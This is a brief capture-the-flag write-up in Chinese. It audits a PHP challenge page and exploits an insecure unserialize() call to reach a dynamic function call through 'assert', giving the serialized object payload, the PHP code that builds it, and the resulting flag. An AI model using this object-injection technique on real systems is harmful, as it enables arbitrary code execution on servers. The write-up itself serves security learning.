打开题目,看到信息
ctrl+u查看源代码
看到php代码,打开
代码审计看一下,进行代码审计,发现存在反序列化语句:@$ppp = unserialize($_GET["data"]);和执行漏洞:echo $b($a);,此处未想到flag在phpinfo文件中,在网上才发现flag在phpinfo文件,因此构造序列化信息:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";},所以payload为:time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";},产生序列化得代码如下: <?php
class HelloPhp
{
public $a = "phpinfo()";
public $b = "assert";
}
$c = new HelloPhp();
echo serialize($c);
?>
输入payload:time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
得到flag
flag{07177462-27ed-48a1-97d2-92352653e408} |